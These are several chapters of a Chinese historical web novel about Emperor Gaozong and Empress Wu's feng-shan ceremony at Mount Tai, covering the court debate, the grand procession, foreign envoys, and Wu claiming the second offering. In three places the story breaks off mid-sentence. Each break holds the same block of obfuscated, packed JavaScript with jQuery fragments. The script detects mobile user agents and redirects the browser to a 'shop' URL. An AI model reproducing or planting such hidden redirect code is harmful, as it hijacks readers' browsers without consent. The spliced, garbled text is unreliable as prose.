反对的声音,终究也出现了。出列的是中书侍郎、同中书门下三品,以耿直敢言著称的刘仁轨。他已年过六旬,须发皆白,但声音依旧洪亮:
“陛下,天后!老臣有言!封禅之礼,固为盛事,然耗费巨万,劳民伤财。昔汉武帝封禅,海内虚耗,户口减半;隋炀帝东巡,天下骚然,遂致土崩。今虽海内承平,然边鄙未宁,府库虽实,亦当思豫。且陛下圣体违和,不宜远涉山川,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17045324|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
冒风霜之苦。望陛下、天后,以社稷为重,以圣体为念,暂罢此议!”
刘仁轨的反对,立足于“务实”和“爱君”,有理有据,代表了相当一部分务实派和老成持重者的心声。此言一出,殿中附和者亦有不少。
李治在御座上,身体微微前倾。他听到了反对的声音,这并未让他意外,反而让他那被病痛和渴望折磨的心,泛起一丝奇异的满足——看,这就是朝议,这就是朕的臣子,在讨论关乎帝国荣耀的大事!他轻轻咳嗽一声,珠帘后的武则天立刻微微侧身,以示聆听。
“刘卿所言,老成谋国,朕心甚慰。”李治的声音带着气弱的回响,“然,许卿等所言,亦是公忠体国,颂扬盛世,其情可悯。封禅,大礼也,确需慎之又慎。”
他将皮球,轻轻踢给了朝臣,也留给了珠帘之后。
这时,又一人出列,却是太子少师、同中书门下三品,德高望重的老臣李勣(徐世勣)。他年事已高,平素已少问朝政,此刻出列,顿时吸引了所有人的目光。只见他颤巍巍行礼,然后缓声道:“老臣以为,刘公之忧,乃人臣忠君爱国之至情。然许公等所请,亦是彰显陛下、天后圣德,激劝天下之心。封禅之礼,诚不可轻动,然今四海升平,功成治定,若果能节省用度,爱惜民力,不使烦扰州县,陛下圣体若得调养安和,则登封告成,上答天眷,下慰民心,亦是无妨。此事关乎重大,伏请陛下、天后,更下公卿,博议其宜。”
李勣这番话,可谓八面玲珑,滴水不漏。既肯定了刘仁轨的担忧,又未否定封禅本身,提出“节省用度”、“不扰州县”、“圣体安和”的前提条件,最后建议“博议”,将决定权巧妙地交还回去,谁也不得罪,却又隐约倾向于“可行”。以他的资历和威望,此言一出,风向顿时又为之一变。
紧接着,又有数名中立或偏向支持的大臣出言,意见大抵与李勣相似,认为“事在可为,但需谨慎筹划”。
殿中的议论声渐渐大了起来,支持者与谨慎者各执一词,但显然,在许敬宗等人精心铺垫的“盛世”语境和李勣等重臣的“有条件支持”下,反对的声音已被边缘化,封禅之议,已成朝堂上的主流意见。
珠帘之后,武则天静静听着,如同一位最高明的棋手,看着棋盘上的棋子按照预想的轨迹移动。她需要朝臣的“公议”,需要“众望所归”的氛围,来推动此事,也来堵住天下悠悠之口。
御座之上,李治的呼吸微微急促。他等这一刻,似乎已经等了太久。他能感觉到,那梦寐以求的、与天地沟通、与古之圣王比肩的荣耀,正在向他招手。他看向珠帘,珠帘后的身影,微微颔首。
李治深吸一口气,用尽力气,让声音传遍大殿:“诸卿所议,朕与天后,已悉知矣。封禅大典,国之重事,不可不谨,亦不可不为。既有争议,便依李卿所奏,下诏有司,博采群议,详考旧典,议其礼仪,度其费用,察其便利。务求上不违天时,下不夺农事,中不扰黎元,更需以朕之体恙为念,妥为筹画。待诸事议定,再行定夺。”
他没有立刻答应,也没有否定。而是给出了一个“议”字。但这“议”,本身就已经是一种态度,一种默许,一种将此事正式提上日程的开端。
“陛下圣明!天后圣明!”以许敬宗为首的官员,立刻跪倒一片,山呼之声,震彻殿宇。刘仁轨等人张了张嘴,看着御座上虽然虚弱但目光灼灼的皇帝,看着珠帘后沉默却威严的身影,终究也只能暗自叹息一声,随着众人躬身下拜。
李瑾站在队列中,同样躬身行礼,面容沉静如水。他能感受到身后、身旁那些或激动、或算计、或忧虑、或茫然的目光。他知道,从这一刻起,那脆弱的平衡将被打破,或者说,将被置入一个更大、更华丽、也更危险的赌局之中。封禅之议,如同投入滚油的火星,必将在这“旷世盛世”的表象下,点燃更炽烈的欲望,也照亮更深沉的阴影。
朝会散去。阳光透过含元殿高大的门扉,在地面投下长长的光影,将鱼贯而出的百官身影拉得变形、交错,如同这纷繁复杂的朝局,也如同那即将拉开序幕的、华丽而沉重的封禅大典的预演。
决议,已下。
风波,方兴。
第202章 鸾驾出长安
麟德二年,深秋。
当第一片金黄的银杏叶从太极宫高耸的檐角飘落,长安城便陷入了前所未有的、近乎沸腾的忙碌与喧嚣之中。历时大半年的筹备,耗资巨万,牵动举国之力的泰山封禅大典,终于到了启程的时刻。
这不是一次简单的出巡,这是一场帝国力量与意志的终极展示,一次向着天地神明、古圣先王、以及天下万民宣告“盛世已达巅峰”的辉煌巡礼。自议定封禅之日起,整个帝国的官僚机器便以前所未有的效率疯狂运转起来。礼部、太常寺、光禄寺、卫尉寺、将作监、少府监……几乎所有中央官署都围绕着“封禅”二字连轴转。典礼仪注修订了十七稿,车驾卤簿反复校验,祭器礼服日夜赶制,沿途州县的行宫、驿站、道路修缮征发了数十万民夫,从长安到泰山的数千里官道上,尘土数月未息。
长安城更是成了巨大的工地与军营。来自帝国各处的奇珍异宝、贡品方物源源不断运入城中,充实着皇帝的私库与赏赐之用。诸卫禁军、左右羽林、左右龙武,乃至从边镇抽调回的精锐,总数超过十万,在城外大营反复操演仪仗、阵型、护卫章程。城内主要街道被拓宽平整,铺上从渭河滩精选的细沙黄土,洒扫得一尘不染。道旁每隔十步便竖起彩绸包裹的高杆,悬挂着绣有龙、凤、日月、星辰等吉祥图案的锦幡。东西两市的所有店铺被要求整饬门面,货架充盈,以备“与民同乐”。
民间更是早早得了朝廷明诏,封禅期间,天下大酺五日,免除沿途州县部分赋税,赦免轻**人。消息传开,从关中到山东,从河北到江南,无数百姓翘首以盼,不仅仅是为了一睹圣驾风采,更是为了那份实实在在的恩典与沾惹“盛世”的喜气。更有那心思活络的商贾,早早算定圣驾路线,沿途开设酒肆、货摊、甚至临时戏台,准备大赚一笔“封禅财”。
终于,吉日选定在九月初九,重阳佳节,登高望远,寓意极佳。
启程前夜,李治宿于太极宫甘露殿斋戒。说是斋戒,实则又是一夜无眠的煎熬。兴奋、期待、对漫长旅途的恐惧、对身体能否支撑的忧虑,以及对那至高荣耀的渴望,种种情绪交织,让他枯瘦的身体在锦衾下微微发抖。王德真亲自守夜,听着御榻上皇帝压抑的咳嗽和翻身声,心中充满了不安。他比任何人都清楚,陛下是在用最后的心气,支撑着这副残破的躯体,去完成那个燃烧着他的梦。
紫宸殿中,武则天的最后一夜,则是在批阅奏章和听取北门学士的最终汇报中度过的。封禅沿途数百名大小官员的考绩、沿途各州县的粮草储备、护卫大军的将领名单与布防图、以及长安留守官员的安排……事无巨细,一一过问。她的神情专注而冷静,不见丝毫疲惫,只有一种掌控一切的沉静。当最后一份文书合上,窗外已传来五更的鼓声。她起身,走到殿外高高的露台上,眺望着东方天际那一抹将现未现的鱼肚白,秋风拂动她未戴冠冕的乌发,凤目中倒映着渐渐亮起的天光,深邃难明。
梁国公府,李瑾的书房亦是灯火通明。他未着甲胄,只一身常服,对着巨大的行军地图沉思。地图上,从长安到泰山的路线被朱笔清晰地标出,沿途山川关隘、州县驻军、粮草囤积点,一目了然。作为此次封禅大典的“行营都总管”,名义上负责整个行程的护卫与调度,他肩上的担子,丝毫不比在战场上指挥千军万马轻松。十万大军,数万随行官员、宦官、宫人、仪仗、乐工、百戏杂耍、僧道巫祝,还有堆积如山的物资……这支庞大到令人咋舌的队伍,本身就是一个移动的、脆弱的巨兽,任何一点疏漏,都可能引发灾难性的后果,更遑论潜在的、来自暗处的威胁。他必须在极致的荣耀与喧嚣之下,保持绝对的清醒与警惕。
寅时三刻,晨光熹微,太极宫承天门外,已是人山人海,旌旗蔽日。太子李弘率留守长安的文武百官、宗室贵戚、诸蕃使节,着朝服,持笏板,黑压压跪满宫前广场及两侧御道,静候圣驾。
辰时正,旭日东升,金光万道。庄严恢宏的宫廷雅乐骤然响起,编钟轰鸣,笙箫齐奏。沉重的宫门在礼官悠长的唱喏声中,次第洞开。
首先出宫的,是前导仪仗。左右威卫、左右骁卫的骑兵,甲胄鲜明,刀枪如林,高举着五色旗帜、金瓜钺斧、旌节伞扇,马蹄踏在铺了黄沙的御道上,发出沉闷而整齐的隆隆声,如同滚雷碾过大地。紧随其后的是鼓吹乐队,号角呜咽,鼓声震天,铙钹铿锵,声浪几乎要掀翻长安城的屋瓦。再后是持着各种象征性·器物——日、月、星辰、龙、凤、虎、豹、朱雀、玄武等旗幡、以及金辂、玉辂、象辂、革辂、木辂等“五辂”模型车驾的庞大队伍,五彩斑斓,令人目不暇接。
在这令人窒息的威严与喧嚣之后,才是真正的核心。
皇帝的玉辂,由六匹毫无杂色的纯白骏马驾驭,车身以金玉装饰,华盖垂旒,在秋日阳光下璀璨夺目,仿佛一座移动的微型宫殿。玉辂之后,是一辆规格稍小、但同样极致华美的凤辂。然而,让无数目睹的官员百姓瞳孔微缩、心中掀起惊涛骇浪的是——皇帝的玉辂之后,凤辂之前,赫然出现了一辆前所未有的、更加庞大、装饰也更为奇特的銮驾!此车以赤金为饰,龙凤纹交织,顶盖如宫殿重檐,前后悬挂珠帘,但珠帘之后,隐隐可见并排设着两个御座!
帝后同辇!
虽然早有风声,天后此次封禅,地位将与陛下等同,祭祀礼制将有“突破”,但亲眼见到这辆象征着帝后平起平坐、乃至“二圣”并尊的銮驾出现,还是让无数恪守礼法的老臣心头剧震,也让那些敏锐的官员,更深切地感受到了此次封禅背后那令人心悸的**寓意。
在这辆特殊銮驾之后,才是太子的金辂,以及诸王、公主、后宫高位妃嫔(人数极少,且位置靠后)的车驾。再之后,是宰相、三公、枢密使、中书门下等高官重臣的车马。李瑾并未乘坐为他准备的那辆华贵安车,而是换上了一身明光铠,骑着那匹跟随他征战多年的黑色骏马“乌云骓”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17045325|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,位于文官车队之前,武将行列之首。他腰佩御赐横刀,神色沉静,目光如电,缓缓扫视着两侧肃立的军队和远方黑压压的人群,如同一头巡视领地的雄狮。他的存在本身,就是这支庞大队伍安全最坚实的保障,也是帝国武勋最显赫的象征。
太子李弘坐在自己的金辂中,透过车窗,看着前方那辆并驾齐驱的、象征着无上权柄的龙凤同辇,心情复杂难言。他为父母能一同享有这至高荣耀而感到骄傲,但内心深处,某种难以言喻的压抑和隐隐的失落,却如影随形。他看向骑马行于辂旁、身姿挺拔如松的太子少师李瑾,心中才感到一丝安稳。
庞大的队伍如同一条苏醒的、披着金鳞的巨龙,缓缓蠕动,从承天门,经朱雀大街,出明德门。御道两侧,早已被金吾卫和京兆府的差役清出宽阔的道路,更外围,则是人山人海的长安百姓,以及从四面八方赶来看热闹的民众。当皇帝的玉辂和那辆醒目的帝后同辇出现时,山呼海啸般的“万岁”声骤然爆发,声浪直冲云霄,震得人耳膜嗡嗡作响。人们踮着脚尖,伸长脖子,拼命想一睹天颜,尤其是想看看那位传奇的、与皇帝同乘的皇后,究竟是何等风采。
玉辂和龙凤辇的车窗垂着细密的竹帘与薄纱,外人难以窥见内里情形。只有极近前的人,或许能隐约看到,玉辂中,皇帝李治穿着沉重的衮服,靠在柔软的隐囊上,脸色在脂粉下依旧苍白,但一双眼睛却异常明亮,死死盯着窗外沸腾的人群,枯瘦的手紧紧抓着窗棂,指节泛白。而龙凤辇中,武则天一袭皇后祎衣,头戴九龙四凤冠,端坐于左首御座,姿态雍容,目光平静地掠过窗外那一片片跪倒的人海和飞扬的尘土,绝美的面容上无喜无悲,只有一种俯瞰众生的、神祇般的淡漠。
队伍行进极其缓慢。前导仪仗出城半个时辰后,皇帝的玉辂才刚刚驶出明德门。而队伍的后尾——那些装载着粮食、帐篷、器用、赏赐之物,以及百官家眷、仆役的无数车辆、驼队、马队,还远远拖在长安城内,蜿蜒如不见首尾的长蛇。
从长安到泰山,路途迢迢数千里。这支空前庞大的队伍,将如同移动的帝国,碾过帝国的腹心,沿途接受万民的跪拜与瞻仰。它将耗费难以计数的钱粮,征发沿途无数的民力,也将沿途的繁华、富庶、强盛,乃至隐藏的危机与疲惫,毫无保留地展示在天地之间。
李瑾控着马,行在队伍中前段。他回头望去,长安城那巍峨的城墙在秋日的阳光下,泛着青灰色的、沉静的光泽,渐渐在身后缩小。而前方,是漫长得仿佛没有尽头的、被旌旗和车马扬尘遮蔽的官道,以及官道尽头,那座承载着无数人梦想与欲望的、巍峨的五岳之尊。
风起于青萍之末。这浩浩荡荡的鸾驾出长安,开启的不仅仅是一次封禅之旅,更是一段驶向权力与荣耀之巅,也驶向未知风暴深处的、无法回头的航程。
他轻轻一夹马腹,乌云骓打了个响鼻,迈着稳健的步伐,汇入那滚滚向前的、金色的洪流之中。
第203章 万国使节随
帝后銮驾出长安,旌旗蔽日,车马辚辚,如同一条金色的巨龙,缓缓游弋在帝国辽阔的腹地。沿途百姓扶老携幼,箪食壶浆,焚香顶礼,跪迎于道旁,只为一睹“天颜”,感受这“旷世盛典”的荣光。而在这条巨龙的身后,更缀着一支色彩斑斓、奇装异服、喧嚷而庞杂的队伍——那便是应大唐皇帝、天后之诏,从四面八方汇聚而来,参与这场“共襄盛举”的万国使节团。
诏书早在半年之前,便已通过驿道、信使、商队,传遍四境。吐蕃赞誉虽未亲至,但大相(论)钦陵派其弟赞婆,携重礼与贺表而来,姿态恭顺。突厥诸部,无论是早已内附的**厥贵族,还是仍在漠北草原上游牧、时叛时服的部落,此番皆不敢怠慢。回纥、仆骨、同罗、拔野古等铁勒诸部,薛延陀败亡后归顺的部落首领,乃至远在金山(阿尔泰山)以西的葛逻禄、黠戛斯,皆有酋长或特使前来。他们的队伍带着草原的粗犷气息,骏马成群,皮裘耀眼,马背上驮着成捆的貂皮、鹿茸、骏马,还有被驯服的鹰隼、猎豹,引来沿途百姓阵阵惊呼。
西域诸国,更是倾国而动。于阗、疏勒、龟兹、焉耆、高昌(已为西州)故地的贵族,吐火罗、康国、安国、石国、曹国、米国、何国、史国等昭武九姓胡的城主、王子,甚至更远的大食(阿拉伯)商人、波斯萨珊王朝的**贵族,也都以“使节”名义加入队伍。他们深目高鼻,卷发虬髯,身着锦绣胡服,佩戴着镶嵌宝石的弯刀,骆驼背上满载着琉璃、珠宝、香料、地毯、以及驯良的舞象、孔雀。乐师们弹奏着胡琵琶、箜篌,歌女唱着悠扬的异域曲调,为这庞大的队伍增添了几分瑰丽而喧嚣的异国情调。
东北方向的靺鞨、室韦、契丹、奚族首领,西南方向的南诏王子、吐蕃东部诸羌豪帅,乃至来自林邑(占城)、真腊(柬埔寨)、骠国(缅甸)、以及少数泛海而来的、肤色黝黑、语言难辨的“昆仑奴”使节,也混杂其中。他们有的骑马,有的乘象,有的坐着装饰华丽的牛车,用好奇、敬畏、贪婪、或审慎的目光,打量着眼前这条仿佛无穷无尽、彰显着无上权力与财富的巨龙,以及巨龙所盘踞的这片富庶得令人窒息的中原大地。
这些使节团队伍规模不一,大者数百上千人,小者仅数十人。他们被礼部、鸿胪寺的官员统一安排,按照地域、亲疏、实力,划分在不同的行军序列和驻扎区域。他们的营帐,环绕着帝后与中枢官员的行营,如同众星捧月,又像是依附在巨兽身旁的、色彩斑斓的共生体。白日里,他们随着大军缓缓前行,入夜后,则在指定的营地扎营,燃起篝火,烹煮着各自的食物,空气中弥漫着烤肉的焦香、香料的馥郁、以及各种语言交织的喧哗。
这支“万国”队伍,不仅是封禅大典的点缀,更是大唐国力与威望最直观的体现。他们是“天可汗”威权的活生生的注脚,是“四夷宾服,万国来朝”盛世景象的直观演绎。他们的存在本身,就是对李治、武则天,乃至整个大唐统治合法性的一次盛大加冕。
沿途州县,早已接到严令,务必“柔远人,示大体”。每到一处稍大的城池或驿站,当地官员必率属吏、耆老、士绅,出城十里相迎,奉上酒食犒劳。对使节团,尤其是有头有脸的大国、强部使节,更是礼遇有加,安排精美馆舍,供应充足粮草,甚至组织宴会、百戏表演,展现“天朝上国”的富庶与好客。许多使节生平第一次见到如此繁华的城池,如此精美的器物,如此丰盛的食物,以及如此训练有素、秩序井然的庞大军队,心中的震撼与敬畏,与日俱增。
然而,在这表面的恭敬、热闹与和谐之下,暗流始终涌动。
吐蕃使节赞婆,是吐蕃大相钦陵的亲弟,年约三旬,身材魁梧,面容精悍,眼神锐利如鹰。他带来的贡品极为丰厚,包括高原特有的金器、麝香、牦牛尾,以及数十匹矫健的吐蕃骏马。在公开场合,他对唐皇、天后的使者执礼甚恭,言语谦卑。但当他回到自己的营帐,屏退左右,与几名心腹幕僚密谈时,眼神便变得幽深难测。他仔细询问着唐军沿途的布防、装备、士气,估算着这支庞大队伍的补给能力和机动性,甚至暗中观察唐军将领之间的互动,尤其是那位名震天下的梁国公李瑾的一举一动。“唐人此次封禅,声势虽大,然耗费必巨。观其军容,虽盛,然久不历战阵,未必如传说中那般可怖。兄长让我来,一为示好,二为观虚实。唐人之虚实,不仅在于兵马,更在于其君,其臣,其民之心。”赞婆抚摸着腰间的镶金弯刀,低声用吐蕃语说道。
突厥别部阿史那斛瑟罗,是西突厥十姓可汗后裔,其部众散居在金山一带,对唐朝时附时叛。他此次带来的礼物相对寒酸,但态度却最为恭顺,几乎见到稍有品级的唐官便行大礼,口称“天可汗恩德,永世不忘”。然而,在无人注意的角落,他那双微微上挑的细长眼睛里,却时常闪过狼一般狡黠而警惕的光芒。他格外留意唐军骑兵的装备和战马,留意沿途关隘的险要与守备,留意那些归附唐朝的突厥贵族与汉人官员的互动。“唐人皇帝病弱,皇后当权,梁国公掌兵。这三人,看似一体,实则如何?此番封禅,是彰显一体,还是各怀心思?我突厥的机会,或许就在这‘一体’的缝隙之中。”他暗自思忖。
西域诸胡的使者们,心思则更为活络。他们惊叹于唐朝的富庶,也敏锐地察觉到沿途官员、将领、乃至普通唐军士卒,在面对他们这些“胡人”时,那种深入骨髓的优越感与不经意流露的轻蔑。这让他们在敬畏之余,也生出几分**与不甘。康国使者私下对同伴抱怨:“唐人视我等如犬马,赏赐些金帛,便以为恩德无边。却不知我粟特商队,沟通东西,其利十倍于朝贡!”于阗王子则更关心唐朝对西域的掌控力度,以及那位据说在朝中极有权势的梁国公,对西域是何种态度。他们彼此之间也用警惕的目光互相打量,计算着在唐朝这个庞然大物面前,自己与邻国实力的此消彼长。
更有一些来自更遥远、对大唐了解不深的邦国使节,纯粹是带着好奇与贪婪而来。他们被唐朝的强盛所震慑,也垂涎于沿途所见惊人的财富。真腊的使节暗中记录着唐朝的建筑、农具、丝绸工艺;骠国的乐师如痴如醉地学习唐人的宫廷雅乐;而少数泛海而来的、皮肤黝黑的使者,则用贪婪的目光,扫视着那些精美绝伦的瓷器与丝绸,心中盘算着若能运回本国,将是何等巨利。
当然,也有真心仰慕中华文化,渴望加深联系的。新罗的使节团规模最大,态度也最是恭谨诚恳。其正使金仁问,乃新罗王族,精通汉学,言辞儒雅,对唐朝典章制度推崇备至,日夜与礼部、国子监的官员探讨经义,请求赐予典籍。他的恭敬,甚至让一些唐官都感到有些赧然。
李瑾作为行营都总管,不仅要统筹整个队伍的行程、安全、补给,对这些身份各异、心思各异的“万国”使节,也需保持关注,恩威并施。他定期接见主要藩国、强部的使者,态度威严而不失礼数,赏赐丰厚而皆有定制。对于吐蕃赞婆、突厥斛瑟罗这类需要重点关注的,他则会在公开场合给予格外“礼遇”,亲自过问其饮食起居,言谈间却滴水不漏,偶尔透露一些无关紧要的、关于唐军纪律严明、装备精良的信息,加以震慑。他深知,这些使节的眼睛,就是他们背后君主和部落的眼睛。他们看到的,不仅是大唐的强盛,也是大唐的弱点;他们感受到的,不仅是大唐的恩德,也是大唐的傲慢。如何在这旷世盛典的舞台上,恰到好处地展示肌肉,又不至于过度刺激某些潜在的敌人,是一门极其精细的**艺术。
銮驾之内,又是另一番天地。李治的身体,在最初的兴奋过后,迅速被长途颠簸和深秋的寒
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17045326|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
气所击垮。大部分时间,他都昏昏沉沉地躺在铺着厚厚锦褥的御辇中,靠着参汤和药丸维持精神。只有经过重要城池,需要露面接受万民朝拜时,他才会被内侍搀扶起来,穿戴整齐,强打精神,向窗外挥手示意。那一刻,他苍白脸上硬挤出的笑容,与窗外山呼海啸的“万岁”声,构成一幅令人心酸又诡异的画面。他清醒的片刻,会反复询问王德真,距离泰山还有多远,反复摩挲着那卷早已烂熟于心的封禅祝文草稿。
武则天则大部分时间与李治同乘那辆特制的龙凤辇。她需要照顾皇帝,更需要在皇帝精神不济时,代表帝国接受沿途官员和外国使节的朝拜。她总是仪态万方,神情端凝,言辞得体,恩威并施。接见重要藩国使节时,她往往能说出该国的风土人情、王室谱系,甚至用一两句简单的胡语问候,令使者们又惊又佩,深感天后“明见**”。她的存在,在很大程度上弥补了皇帝病弱带来的权威缺失,甚至因其女性身份带来的神秘感与独特威仪,让许多外邦使者感到一种别样的压迫与敬畏。他们私下议论:“唐家天子威严,然天后睿智明断,尤胜须眉。梁国公掌兵,沉稳如山。此三人,真乃天赐大唐,不可轻侮。”
太子李弘则恪守储君本分,大部分时间待在自己的金辂中读书,或随行在李瑾左右,学习处理行营庶务,接见一些品级较低的官员和使节。他仁孝勤勉,但眉宇间总带着一丝挥之不去的郁色和疲惫。父母的巨大光环,万国使节的复杂目光,以及身为储君却无实权的尴尬,都让他感到压力重重。只有与李瑾独处,请教兵法政务时,他紧蹙的眉头才会稍稍舒展。
这一日,队伍行至洛阳附近,在预先建好的巨大行营驻扎。夜幕降临,万帐灯火如繁星落地。帝后行营居中,宛如众星拱月,外围是百官勋贵的营区,再外是诸卫禁军,最外围,才是那些色彩斑斓、喧嚷不休的“万国”使节营地。
李瑾巡营完毕,回到自己的大帐。帐中已备好简单的饭食和热汤。他卸下甲胄,揉了揉发酸的肩膀。亲兵统领低声禀报:“国公,吐蕃赞婆傍晚遣人送来一箱上等麝香和一把镶宝石的吐蕃宝刀,说是敬献国公,聊表心意。东西已按例登记入库。”
李瑾点了点头,目光落在桌案上一份鸿胪寺刚刚送来的、关于吐蕃使团近日动向的密报上。报告提到,赞婆手下有几名随从,近日频繁与一些西域胡商接触,似乎在打听什么。他沉吟片刻,道:“礼尚往来。明日以我的名义,回赠赞婆两匹蜀锦,一罐江南新茶,再加一副我常用的金丝软甲。就说,秋深露重,望其保重。另,加派人手,留意与吐蕃使团接触的西域胡商背景,特别是与大食、波斯有关的。”
“是。”亲兵统领领命而去。
李瑾走到帐门边,掀开厚重的毛毡门帘。秋夜寒风立刻灌入,带着远方胡营隐隐传来的、混合着各种语言的喧哗与异域乐声。他抬眼望去,帝后行营方向灯火通明,如同黑暗中的灯塔。更远处,万国使节的营火点点,一直蔓延到视野尽头,与天上的星河相接。
“万国来朝……”李瑾低声自语,嘴角浮起一丝几不可察的复杂笑意。这璀璨灯火,这喧嚣人声,这无边无际的营帐,无不彰显着大唐无与伦比的强盛与吸引力。这是力量的展示,也是欲望的漩涡。这里有多少是真心归附,有多少是畏威而来,又有多少是包藏祸心,潜伏爪牙?
封禅尚未开始,但这汇聚了四方目光、承载了无数野心的庞大队伍本身,已然成了一个微缩的天下,一个权力、野心、文明与算计交织的舞台。而他,与那銮驾中的帝后一样,都是这舞台中央,最耀眼的角色,也是最显眼的靶子。
他放下门帘,将寒风与喧嚣隔绝在外。帐内,烛火摇曳,将他挺拔的身影投在帐壁上,微微晃动,如同这盛世光景下,难以捉摸的未来。
第204章 亚献破旧例
麟德二年,腊月。泰山。
朔风如刀,刮过齐鲁大地,卷起千山万壑的枯枝残雪,发出凄厉的呜咽。然而,这酷寒与肃杀,却丝毫未能冷却泰岳之巅,那场即将举行的、牵动整个帝国乃至已知世界目光的旷世盛典所散发出的、几乎要灼烧天地的炽热。
自深秋从长安启程,这支庞大到令人窒息的队伍,如同一条缓慢而坚定蠕动的巨龙,耗费了足足两个多月的时间,终于抵达了此行的终点,也是其荣耀的顶点——东岳泰山脚下。沿途数千里,旌旗所指,万民匍匐,州县净道,馆驿修缮一新。当那座承载了无数帝王梦想、被儒家经典赋予“直通帝座”、“天命所归”神圣意义的巍峨山岳,终于出现在地平线上时,整个队伍爆发出的,不仅仅是疲惫至极后的解脱,更是一种混合着狂热、敬畏与无限期待的颤栗。
皇帝李治的身体,在漫长的旅途中耗尽了最后一丝元气。抵达奉高县(泰山脚下治所)行宫时,他几乎是被内侍用软舆从銮驾上抬下来的,连续数日高烧昏厥,太医院所有随行的太医围着他团团转,用尽了珍稀药材,才勉强将他的命从鬼门关前拽回。然而,封禅大典的日期早已由礼部、太史局根据天文、历法、阴阳反复推算而定,不容更改。腊月甲子,天赦之日,便是告祭苍天、登封泰山的正日。
时间,不等人。无论是天命,还是人心。
腊月癸亥,大典前夜。泰山脚下,方圆数十里,营火如海,亮如白昼。帝后行宫、百官营地、诸军连营、万国使节穹帐,层层叠叠,拱卫着黑暗中宛如巨兽蛰伏的泰山。山道早已被整饬加固,险峻处铺设了木板,安装了护栏。从山脚到山顶主要的祭祀场所——登封坛、社首山(禅地祇处),每隔十步便有全副武装的禁军士卒持火炬肃立,如同一条蜿蜒盘绕、直插云霄的光之巨龙。山风凛冽,吹得火把猎猎作响,也将那庄严而压抑的寂静,吹送至每一个角落。
奉高行宫,皇帝寝殿。灯火通明,药气弥漫。李治半躺在厚厚的锦褥中,身上盖着数层貂裘,却依然在微微发抖。他的脸庞深深凹陷,在跳跃的烛光下泛着不健康的青灰色,唯有一双眼睛,因极度的亢奋和某种执念,亮得骇人。武则天坐在榻边,亲自端着一碗热气腾腾的参汤,用小银匙一点点喂他。她的神情平静无波,动作轻柔细致,仿佛眼前不是权倾天下的皇帝,只是一个需要精心照料的病人。
“明日……明日便是甲子日了。”李治艰难地吞咽着参汤,声音嘶哑如破风箱,目光却死死盯着殿顶繁复的藻井,仿佛要穿透那层层彩绘,直抵苍穹,“朕……朕一定要上去……亲自祭天告成……朕是天子……朕受命于天……”
“陛下放心。”武则天放下药碗,用丝帕轻轻拭去他嘴角的药渍,声音温和却带着不容置疑的力量,“一切都已准备妥当。礼器、祭文、仪仗、乐舞,乃至陛下的御辇、冠服,皆已再三检视,万无一失。陛下只需养足精神,明日吉时,臣妾与百官、万国使节,皆在坛下,恭候陛下圣驾,亲行初献,昭告昊天上帝,陛下承天受命,功成治定。”
她的语气如此自然,仿佛在说一件再平常不过的事情。然而,“初献”二字,却像一根细针,轻轻刺破了李治混沌意识中的某个角落。他猛地转过头,枯瘦的手抓住武则天的手腕,力气大得惊人,浑浊的眼睛里闪过一丝锐利:“初献……是朕。那……亚献呢?礼部……礼部如何拟定?”
封禅大典,核心仪式分为“封”与“禅”。“封”于泰山之巅设坛祭天,称“登封”;“禅”于泰山下社首山祭地,称“禅地”。祭祀过程,主祭者(皇帝)行“初献”,是最重要的环节;其后有“亚献”、“终献”,通常由皇太子、或德高望重的宗室亲王、重臣担任,是辅助性的礼仪环节。但即便是辅助环节,能在封禅大典上担任亚献、终献,亦是莫大的荣耀与**地位的象征,非比寻常。
武则天任由他抓着手腕,目光平静地迎视着他眼中那点执拗的、最后的光芒,缓缓地,一字一句地说道:“礼部与太常寺,依古礼,参详本朝故事,并体察陛下与臣妾‘二圣同尊、共理阴阳’之至意,拟定——由臣妾,行亚献之礼。”
寝殿内,刹那间死寂。只有铜漏滴答,烛火噼啪。侍立在远处的王德真等人,早已将头深深埋下,恨不得自己是个聋子、瞎子。
李治的手剧烈地颤抖起来,他张了张嘴,似乎想说什么,却只发出一串嗬嗬的痰音。他死死盯着武则天,那张绝美而平静的面容,此刻在他眼中,却仿佛笼罩着一层神圣而冰冷的光晕,让他感到陌生,甚至……一丝恐惧。亚献……皇后行亚献之礼?自三皇五帝以来,自周公制礼作乐以来,何曾有过?便是汉之吕后,魏之郭后,也不敢在封禅大典上僭越至此!这已不仅仅是“同尊”,这是要在祭祀天地的神圣仪式上,公然将她与“天”的联系,提升到仅次于皇帝,甚至……隐隐与皇帝并列的位置!她怎么敢?礼部那些大臣,如何敢拟定?许敬宗、李义府……他们……
